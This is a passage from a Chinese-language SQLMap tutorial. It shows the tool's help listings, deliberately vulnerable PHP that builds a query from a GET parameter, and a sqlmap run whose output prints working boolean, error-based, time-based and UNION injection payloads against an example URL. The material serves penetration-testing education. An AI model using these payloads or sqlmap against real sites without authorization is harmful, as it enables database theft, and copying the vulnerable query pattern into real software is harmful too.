2、SQLMap 入门

在开始使用 SQLMap 时，新用户的第一站通常是程序的帮助消息。为了帮助新用户，有两个级别的帮助消息列表：

• Basic Listing仅显示基本选项和开关，在大多数情况下就足够了（开关-h）：

$ sqlmap -h
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.9#stable}
|_ -| . ["]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs
...SNIP...

• Advanced Listing显示所有选项和开关（开关-hh）：

$ sqlmap -hh
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.9#stable}
|_ -| . [.]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

Usage: python3 sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -d DIRECT           Connection string for direct database connection
    -l LOGFILE          Parse target(s) from Burp or WebScarab proxy log file
    -m BULKFILE         Scan multiple targets given in a textual file
    -r REQUESTFILE      Load HTTP request from a file
    -g GOOGLEDORK       Process Google dork results as target URLs
    -c CONFIGFILE       Load options from a configuration INI file

  Request:
    These options can be used to specify how to connect to the target URL

    -A AGENT, --user..  HTTP User-Agent header value
    -H HEADER, --hea..  Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
    --method=METHOD     Force usage of given HTTP method (e.g. PUT)
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --param-del=PARA..  Character used for splitting parameter values (e.g. &)
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --cookie-del=COO..  Character used for splitting cookie values (e.g. ;)
...SNIP...

更多详细信息，建议用户查阅项目的wiki，因为它代表了 SQLMap 使用的官方手册。

基本场景

在一个简单的场景中，渗透测试人员通过 GET 参数（例如 id）访问接受用户输入的网页。然后他们想测试网页是否受到 SQL 注入漏洞的影响。如果是这样，他们会想利用它，从后端数据库中检索尽可能多的信息，甚至尝试访问底层文件系统并执行操作系统命令。此场景的 SQLi 易受攻击的 PHP 代码示例如下所示：

$link = mysqli_connect($host, $username, $password, $database, 3306);
$sql = "SELECT * FROM users WHERE id = " . $_GET["id"] . " LIMIT 0, 1";
$result = mysqli_query($link, $query);
if (!$result)
    die("<b>SQL error:</b> ". mysqli_error($link) . "<br>\n");

由于为易受攻击的 SQL 查询启用了错误报告，因此在出现任何 SQL 查询执行问题时，将作为 Web 服务器响应的一部分返回数据库错误。这种情况简化了 SQLi 检测过程，特别是在手动参数值篡改的情况下，因为很容易识别由此产生的错误：

![[Pasted image 20221201220618.png]]

要针对位于示例 URL 的此示例运行 SQLMap http://www.example.com/vuln.php?id=1，将如下所示：

$ sqlmap -u "http://www.example.com/vuln.php?id=1" --batch
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.4.9}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org


[*] starting @ 22:26:45 /2020-09-09/

[22:26:45] [INFO] testing connection to the target URL
[22:26:45] [INFO] testing if the target URL content is stable
[22:26:46] [INFO] target URL content is stable
[22:26:46] [INFO] testing if GET parameter 'id' is dynamic
[22:26:46] [INFO] GET parameter 'id' appears to be dynamic
[22:26:46] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[22:26:46] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[22:26:46] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[22:26:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:26:46] [WARNING] reflective value(s) found and filtering out
[22:26:46] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="luther")
[22:26:46] [INFO] testing 'Generic inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:26:46] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
...SNIP...
[22:26:46] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable 
[22:26:46] [INFO] testing 'MySQL inline queries'
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[22:26:46] [WARNING] time-based comparison requires larger statistical model, please wait........... (done)                                                                                                       
...SNIP...
[22:26:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[22:26:56] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[22:26:56] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:26:56] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:26:56] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[22:26:56] [INFO] target URL appears to have 3 columns in query
[22:26:56] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 8814=8814

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 7744 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(7744=7744,1))),0x71707a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3669 FROM (SELECT(SLEEP(5)))TIxJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7170706a71,0x554d766a4d694850596b754f6f716250584a6d53485a52474a7979436647576e766a595374436e78,0x71707a7871)-- -
---
[22:26:56] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: MySQL >= 5.0
[22:26:57] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/www.example.com'

[*] ending @ 22:26:57 /2020-09-09/

注意：在这种情况下，选项“-u”用于提供目标 URL，而开关“--batch”用于通过自动选择使用默认选项来跳过任何必需的用户输入。